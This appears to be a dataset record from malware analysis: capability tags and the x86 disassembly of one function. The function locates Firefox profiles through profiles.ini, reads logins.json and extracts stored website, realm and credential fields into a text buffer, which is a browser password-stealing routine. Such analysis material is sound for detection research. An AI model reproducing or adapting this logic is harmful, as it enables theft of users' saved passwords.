Function at 0x1000ac20
Capabilities:
Get common file path
Get file size
Read .ini file
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x70
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 4], 0
push 0x30d40
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x1000b13f
mov dword [ebp - 0x10], 0
push 0x2710
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x1000b13f
mov dword [ebp - 0x14], 0
push 0x2710
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x1000b135
lea eax, [ebp - 0x18]
push eax
push 0
push 0
push 0x100af5f0
call sub.SHELL32.dll_SHGetKnownFolderPath
test eax, eax
jne 0x1000b10d
push 0xfffe
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
je 0x1000b103
mov ecx, dword [ebp - 0x18]
push ecx
push str._sMozillaFirefoxprofiles.ini
push 0x7fff
mov edx, dword [ebp - 0x1c]
push edx
call fcn.1009626a
add esp, 0x10
push 0xfffe
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
je 0x1000b0f9
mov eax, dword [ebp - 0x1c]
push eax
push 0x7fff
mov ecx, dword [ebp - 0x20]
push ecx
push 0
push str.Path
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
mov eax, dword [ebp - 0x20]
movzx ecx, word [eax]
test ecx, ecx
je 0x1000b0ef
push 0x7fff
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
je 0x1000b0ef
mov edx, dword [ebp - 0x20]
push edx
mov eax, dword [ebp - 0x18]
push eax
push str._SMozillaFirefox_S
push 0x7fff
mov ecx, dword [ebp - 0x24]
push ecx
call fcn.1009687a
add esp, 0x14
mov edx, dword [ebp - 0x24]
push edx
call dword [0x100c0720]
add esp, 4
test eax, eax
jne 0x1000b0ef
push 0x7fff
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
je 0x1000b0e9
mov eax, dword [ebp - 0x24]
push eax
push str._slogins.json
push 0x7fff
mov ecx, dword [ebp - 0x28]
push ecx
call fcn.1009687a
add esp, 0x10
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x44], 0
mov dword [ebp - 0x3c], 0
push 0
push 0
push 3
push 0
push 0
push closesocket
mov edx, dword [ebp - 0x28]
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0xffffffff
je 0x1000b0df
push 0
mov eax, dword [ebp - 0x38]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0xffffffff
je 0x1000b0d5
mov ecx, dword [ebp - 0x40]
add ecx, 1
push ecx
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0
je 0x1000b0d5
mov edx, dword [ebp - 0x2c]
add edx, dword [ebp - 0x40]
mov byte [edx], 0
mov eax, dword [ebp - 0x2c]
add eax, dword [ebp - 0x40]
mov dword [ebp - 0x44], eax
push 0
lea ecx, [ebp - 0x48]
push ecx
mov edx, dword [ebp - 0x40]
push edx
mov eax, dword [ebp - 0x2c]
push eax
mov ecx, dword [ebp - 0x38]
push ecx
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov edx, dword [ebp - 0x48]
cmp edx, dword [ebp - 0x40]
jne 0x1000b0d5
push str.hostname
mov eax, dword [ebp - 0x2c]
push eax
call fcn.1000e8b0
add esp, 8
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0
je 0x1000b0d5
mov dword [ebp - 0x68], 1
mov dword [ebp - 0x54], 1
mov dword [ebp - 0x64], 1
push 0x100a88f8
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 4]
lea eax, [edx + ecx*2]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 8
add eax, dword [ebp - 8]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 0x34]
push ecx
call fcn.1000a7e0
add esp, 4
mov dword [ebp - 0x5c], eax
mov edx, dword [ebp - 0x34]
push edx
call fcn.1000a8c0
add esp, 4
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x34]
push eax
call fcn.1000a9a0
add esp, 4
mov dword [ebp - 0x60], eax
cmp dword [ebp - 0x58], 0
je 0x1000af01
mov ecx, dword [ebp - 0x58]
push ecx
push 0x100a8900
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 4]
lea ecx, [eax + edx*2]
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
add eax, dword [ebp - 8]
mov dword [ebp - 8], eax
mov dword [ebp - 0x68], 0
jmp 0x1000af30
cmp dword [ebp - 0x5c], 0
je 0x1000af30
mov edx, dword [ebp - 0x5c]
push edx
push str.Website:__S_r_n
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 4]
lea edx, [ecx + eax*2]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
add eax, dword [ebp - 8]
mov dword [ebp - 8], eax
mov dword [ebp - 0x68], 0
cmp dword [ebp - 0x60], 0
je 0x1000af58
mov eax, dword [ebp - 0x60]
push eax
push str.Realm:__S_r_n
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 4]
lea eax, [edx + ecx*2]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
add eax, dword [ebp - 8]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 0x34]
push ecx
call fcn.1000aa80
add esp, 4
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], 0
je 0x1000afe4
mov edx, dword [ebp - 0x4c]
push edx
call fcn.1000b150
add esp, 4
mov dword [ebp - 0x6c], eax
cmp dword [ebp - 0x6c], 0
je 0x1000afda
push 0x2710
push 0
mov eax, dword [ebp - 0x10]
push eax
call fcn.10096800
add esp, 0xc
push 0x12c
mov ecx, dword [ebp - 0x10]
push ecx
push 0xffffffffffffffff
mov edx, dword [ebp - 0x6c]
push edx
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov eax, dword [ebp - 0x10]
push eax
push 0x100a8950
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 4]
lea eax, [edx + ecx*2]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
add eax, dword [ebp - 8]
mov dword [ebp - 8], eax
mov dword [ebp - 0x54], 0
mov ecx, dword [ebp - 0x4c]
push ecx
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov edx, dword [ebp - 0x34]
push edx
call fcn.1000ab50
add esp, 4
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 0
je 0x1000b070
mov eax, dword [ebp - 0x50]
push eax
call fcn.1000b150
add esp, 4
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 0
je 0x1000b066
push 0x2710
push 0
mov ecx, dword [ebp - 0x14]
push ecx
call fcn.10096800
add esp, 0xc
push 0x12c
mov edx, dword [ebp - 0x14]
push edx
push 0xffffffffffffffff
mov eax, dword [ebp - 0x70]
push eax
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov ecx, dword [ebp - 0x14]
push ecx
push 0x100a8970
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 4]
lea ecx, [eax + edx*2]
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
add eax, dword [ebp - 8]
mov dword [ebp - 8], eax
mov dword [ebp - 0x64], 0
mov edx, dword [ebp - 0x50]
push edx
call dword [sym.imp.KERNEL32.dll_LocalFree]
cmp dword [ebp - 0x5c], 0
je 0x1000b080
mov eax, dword [ebp - 0x5c]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
cmp dword [ebp - 0x58], 0
je 0x1000b090
mov ecx, dword [ebp - 0x58]
push ecx
call dword [sym.imp.KERNEL32.dll_LocalFree]
cmp dword [ebp - 0x60], 0
je 0x1000b0a0
mov edx, dword [ebp - 0x60]
push edx
call dword [sym.imp.KERNEL32.dll_LocalFree]
cmp dword [ebp - 0x68], 0
jne 0x1000b0b2
cmp dword [ebp - 0x54], 0
jne 0x1000b0b2
cmp dword [ebp - 0x64], 0
je 0x1000b0b4
jmp 0x1000b0d5
mov eax, dword [ebp - 0x34]
add eax, 1
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp - 0xc]
add ecx, 1
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0x2c]
cmp edx, dword [ebp - 0x44]
jb 0x1000b0d0
jmp 0x1000b0d5
jmp 0x1000ae52
mov eax, dword [ebp - 0x38]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 0x28]
push ecx
call dword [sym.imp.KERNEL32.dll_LocalFree]
call dword [0x100c0728]
mov edx, dword [ebp - 0x20]
push edx
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, dword [ebp - 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov ecx, dword [ebp - 0x18]
push ecx
call dword [sym.imp.ole32.dll_CoTaskMemFree]
cmp dword [ebp - 0xc], 0
jne 0x1000b12b
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov edx, dword [ebp - 8]
shl edx, 1
mov eax, dword [ebp + 0xc]
mov dword [eax], edx
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret